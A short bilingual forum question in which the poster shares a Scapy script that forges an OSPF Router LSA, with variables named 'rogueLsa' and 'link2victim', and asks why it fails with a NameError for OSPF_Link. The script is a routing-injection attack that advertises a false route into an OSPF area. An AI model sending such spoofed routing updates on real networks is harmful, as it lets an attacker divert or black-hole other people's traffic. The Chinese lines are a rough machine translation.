[英]name 'OSPF_Link' is not defined
I have a python script like this: 我有一个像这样的python脚本:
#!/usr/bin/env python
from scapy.all import *
from ospf import *
def ourSend(packet):
sendp(packet,iface='eth1')
host1='10.0.3.2'
advr_routers='10.0.8.7'
host2='10.0.2.2'
sequence=0x80000918
link2host1 = OSPF_Link(id=host1,data='10.0.3.1',type=2,metric=1)
link2host2 = OSPF_Link(id=host2,data='10.0.2.2',type=2,metric=1)
link2victim = OSPF_Link(id="192.168.200.20",data="255.255.255.255",type=3,metric=1)
IPlayer=IP(src='10.0.1.2',dst='224.0.0.5')
OSPFHdr=OSPF_Hdr(src='10.0.6.1')
rogueLsa=Ether()/IPlayer/OSPFHdr/OSPF_LSUpd(lsacount=1,lsalist=[OSPF_Router_LSA(options=0x22,id='10.0.3.1',adrouter=advr_routers,seq=sequence,\
linkcount=3,linklist=[link2victim,link2host1,link2host2])])
ourSend(rogueLsa)
When I run it it has an scapy error.. So I resolved it with git pyrt ... 当我运行它时,它有一个虚假的错误。所以我用git pyrt解决了它。
now when I want to run the python script I have other error: 现在,当我想运行python脚本时,我还有其他错误:
$ python scipt.py
WARNING: No route found for IPv6 destination :: (no default route?)
Traceback (most recent call last):
File "s.py", line 19, in <module>
link2host1 = OSPF_Link(id=host1,data='10.0.3.1',type=2,metric=1)
NameError: name 'OSPF_Link' is not defined
Thank you 谢谢
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